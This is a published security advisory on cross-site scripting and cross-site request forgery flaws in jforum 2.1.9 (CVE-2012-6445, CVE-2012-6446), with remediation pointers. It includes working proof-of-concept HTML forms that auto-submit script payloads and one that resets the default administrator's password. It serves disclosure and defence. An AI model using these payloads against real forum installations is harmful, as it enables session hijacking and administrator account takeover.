Total Tests:

Multiple Vulnerabilities in jforum

Advisory ID:HTB23134
Product:jforum
Vendor: The JForum Team
Vulnerable Versions:2.1.9 and probably prior
Tested Version:2.1.9
Advisory Publication:December 26, 2012 [without technical details]
Vendor Notification:December 26, 2012
Public Disclosure:February 13, 2013
Latest Update:February 13, 2013
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
CVE References:CVE-2012-6445
CVE-2012-6446
Risk Level:Medium
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Solution Available
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in jforum, which can be exploited to perform Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) attacks.

1) Multiple Cross-Site scripting (XSS) vulnerabilities in jforum: CVE-2012-6445
1.1 The vulnerability exists due to insufficient filtration of user-supplied input in "start" HTTP POST parameter in "jforum.page" script when sending any message. A remote attacker can create a specially crafted webpage and execute arbitrary HTML and script code in user's browser in the context of vulnerable website. Successful exploitation requires that victim visits the malicious webpage.
Malicious webpage example:
<form action="http://[host]/jforum.page" method="post" name="f1">
<input type="hidden" name="action" value="insertSave" />
<input type="hidden" name="module" value="posts" />
<input type="hidden" name="preview" value="0"/>
<input type="hidden" name="forum_id" value="1" />
<input type="hidden" name="start" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="topic_id" value="2" />
<input type="submit" id="btn">
</form>
<script>
document.f1.submit();
</script>

1.2 The vulnerability exists due to insufficient filtration of user-supplied input in "action" HTTP POST parameter in "jforum.page" script when posting a reply. A remote attacker can create a specially crafted webpage and execute arbitrary HTML and script code in user's browser in the context of vulnerable website. Successful exploitation requires that victim visits the malicious webpage.
Malicious webpage example:
<form action="http://[host]/jforum.page" method="post" name="f1">
<input type="hidden" name="module" value="posts" />
<input type="hidden" name="disable_html" value="1" />
<input type="hidden" name="forum_id" value="1" />
<input type="hidden" name="message" value="123" />
<input type="hidden" name="quick" value="1" />
<input type="hidden" name="start" value="0" />
<input type="hidden" name="topic_id" value="2" />
<input type="hidden" name="action" value='"><script>alert(document.cookie);</script>' />
<input type="submit" id="btn">
</form>
<script>
document.f1.submit();
</script>

1.3 The vulnerability exists due insufficient filtration of user-supplied input in "returnUrl", "forum_id" and "topic_id" HTTP POST parameters in "jforum.page" script. A remote attacker can create a specially crafted webpage and execute arbitrary HTML and script code in administrator's browser in the context of vulnerable website. Successful exploitation requires that victim visits the malicious webpage.
Malicious webpage example:
<form action="http://[host]/jforum.page" method="post"name="f1" >
<input type="hidden" name="action" value="doModeration" />
<input type="hidden" name="log_description" value="" />
<input type="hidden" name="log_type" value="0" />
<input type="hidden" name="module" value="moderation" />
<input type="hidden" name="topicMove" value="1" />
<input type="hidden" name="returnUrl" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="forum_id" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="topic_id" value='"><script>alert(document.cookie);</script>' />
<input type="submit" id="btn">
<script>
document.f1.submit();
</script>
</form>


2) Сross-Site Request Forgery (CSRF) in jforum: CVE-2012-6446
2.1 The vulnerability exists due to insufficient verification of the HTTP request origin in "jforum.page" script. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage and change administrator's password.
PoC (Proof-of-Concept) below will change password to "password" for user with id = 2 (default administrator's ID):
<form action="http://[host]/jforum.page" method="post" name="f1">
<input type="hidden" name="action" value="editSave" />
<input type="hidden" name="module" value="adminUsers" />
<input type="hidden" name="user_id" value="2" />
<input type="hidden" name="username" value="username" />
<input type="hidden" name="email" value="mail@mail.com" />
<input type="hidden" name="new_password" value="password" />
<input type="hidden" name="password_confirm" value="password" />
<input type="hidden" name="viewemail" value="0" />
<input type="hidden" name="hideonline" value="0" />
<input type="hidden" name="notifyreply" value="1" />
<input type="hidden" name="notify_always" value="0" />
<input type="hidden" name="notify_text" value="0" />
<input type="hidden" name="notifypm" value="1" />
<input type="hidden" name="attachsig" value="1" />
<input type="hidden" name="allowhtml" value="1" />
<input type="hidden" name="allowbbcode" value="1" />
<input type="hidden" name="allowsmilies" value="1" />
<input type="hidden" name="rank_special" value="-1" />
<input type="submit" name="submit" value="Submit">
</form>
<script>
document.f1.submit();
</script>

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
The vendor didn't reply to numerous notifications. Currently we are not aware of any official vendor solution.

Edit the application source code to implement proper filtration of the vulnerable parameters mentioned in sections 1.1-1.3.

Unofficial patch and how-to was kindly provided by Jeanne Boyarsky to protect the application against CSRF attacks: http://www.selikoff.net/2013/02/09/fixing-csrf-for-jforum/


References:
[1] High-Tech Bridge Advisory HTB23134 - https://www.immuniweb.com/advisory/HTB23134 - Multiple Vulnerabilities in jforum.
[2] jforum - http://jforum.net/ - jforum is a powerful and robust discussion board system implemented in Java.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential